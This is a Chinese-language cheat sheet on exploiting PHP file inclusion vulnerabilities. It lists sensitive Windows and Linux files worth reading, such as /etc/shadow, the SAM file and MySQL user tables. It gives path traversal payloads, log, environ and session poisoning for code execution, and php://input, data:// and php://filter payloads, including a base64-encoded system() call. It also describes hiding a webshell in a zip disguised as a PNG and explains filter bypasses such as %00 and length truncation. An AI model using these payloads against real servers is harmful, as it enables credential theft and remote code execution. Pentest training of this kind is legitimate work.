1.任意文件读取

利用文件包含漏洞,将服务器本地文件包含进页面

系统敏感文件或者配置文件

windows:

1
2
3
4
5
6
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息

Linux/Unix

1
2
3
4
5
6
7
/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

其中也可以用相对路径?file=../../../etc/passwd

还可以加一些不存在的目录名,进行穿越、绕过,例如:?file=/etc/xxxxxxx/../passwd

日志文件

一般是利用伪协议报错后使用

首先利用访问错误url或者加入参数,来植入php等代码
访问数据存入access.logerror.log等日志文件,通过尝试试探这些文件的路径和文件名,去包含执行代码。

如默认路径:
/var/log/apache2/access.log
/var/log/nginx/access.log

临时文件

在文件上传的时候,会产生临时文件,phpinfo();可以读取文件的路径和名字,然后本地包含产生后门,在临时文件删除前去包含文件,这里可能要会写相应脚本;

路径:/tmp

ssh日志

默认路径:/var/log/auth.log

利用ssh连接
先执行命令ssh '<?php ...?>' @remotehost

操作会被写入日志,再进行包含

environ

默认路径:/proc/1/environ/

利用:在请求包user-agent字段中插入php代码,再进行文件包含

包含fd(文件描述符)

默认路径:/proc/self/fd/

同包含environ相似

session文件

默认路径:var/lib/php/sessions/

要灵活利用可控变量,插入php代码,再进行包含

2.远程文件包含

若服务器允许包含远程文件,则可利用文件包含读取另外一台服务器上的恶意脚本

条件:allow_url_fopen、allow_url_include为on

3.伪协议

file://访问本地文件系统

file://文件的绝对路径或文件名

php://filter查看源代码或写入代码

读取index.php的源码并转换成base64编码显示在页面:
php://filter/read=convert.base64-encode/resource=index.php

将helloworld用base64编码写入test.txt:
php://filter/write=convert.base64-encode/resource=test.txt&txt=helloworld

同样,也可以进行目录穿越:?file=php://filter/read=convert.base64-encode/xxxxxxxxxx/resource=index.php

绕过:https://blog.csdn.net/2301_77004573/article/details/130565745#:~:text=%E8%A1%A5%E5%85%85%E5%A7%BF%E5%8A%BF%EF%BC%9A.iconv%E6%94%AF%E6%8C%81utf-7%2Cutf-8%2CUCS-2LE%2CUCS-2BE%EF%BC%8C%E5%8F%AF%E4%BB%A5%E7%94%A8n%E6%8B%BC%E6%8E%A5%E8%AF%AD%E5%8F%A5%EF%BC%8C%E6%89%80%E4%BB%A5%E5%BD%93utf%E8%A2%AB%E8%BF%87%E6%BB%A4%E6%97%B6%E5%8F%AF%E4%BB%A5%E7%94%A8ut%250Af%E7%BB%95%E8%BF%87%E6%A3%80%E6%B5%8B%E3%80%82%204.%E8%AF%A6%E7%BB%86%E8%A7%A3%E9%87%8A%E4%B8%80%E4%B8%AA%E4%BE%8B%E5%8F%A5%EF%BC%9A%20php%3A%2F%2Ffilter%2F%20write,%3Dconvert.base64-%20decode%20%2Fresource%3D%20shell.php

php://input进行命令执行

可以将php代码以post请求形式发送执行但要求allow_url_include为on

例如利用漏洞列出当前目录下的文件和文件夹:

1
2
GET: xxx.com?file=php://input
POST: <?php system("dir");?>

data://发送执行

data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==

:PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==<?php system("dir");?>base64编码的结果

条件:allow_url_fopen、allow_url_include为on

phar://或zip://执行压缩包中的恶意文件

结合文件上传写一个一句话木马的文件shell_dir.php,将shell_dir.php压缩成shell_dir.zip,然后把压缩包重命名为shell_dir_zip.png

然后上传shell_dir_zip.png

那么利用phar://shell_dir_zip.png/shell_dir.php这样的语句可以直接执行压缩包内的木马文件

zip://伪协议作用一样,但需要改为zip://shell_dir_zip.png#shell_dir.php这样的格式

4.绕过方式

指定后缀

在包含的文件名中固定了文件后缀名

绕过:利用%00截断,条件:php<5.3.4;gpc为off

过滤特殊字符

用正则过滤/,../,

进行URL编码,如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes

那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉 ,在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

5.一些进阶利用

参考:https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html